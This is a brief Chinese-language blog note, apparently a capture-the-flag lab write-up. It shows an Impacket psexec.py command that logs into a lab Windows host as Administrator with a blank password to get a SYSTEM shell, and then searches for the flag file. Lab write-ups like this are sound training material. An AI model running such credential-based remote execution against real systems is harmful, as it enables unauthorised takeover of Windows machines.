shellsudo python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator:@10.129.201.24 //username:password@{target_ip}
Impacket 是一个用 Python 编写的框架,用于处理网络协议。它专注于提供对数据包的低级编程访问,对于某些协议(例如 SMB 和 MSRPC),提供协议实现本身。简而言之,Impacket 包含数十种用于与 Windows 系统和应用程序交互的惊人工具,其中许多是攻击 Windows 和 Active Director 的理想选择。(主要是windows)
Impacket 通过在远程系统上的 ADMIN 共享。成功进行身份验证后,它会将你放入 NT AUTHORITYSYSTEM shell。
然后就可以拿到权限了,flag了。
windows
dir /s /b flag.txt 递归分明查看。
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!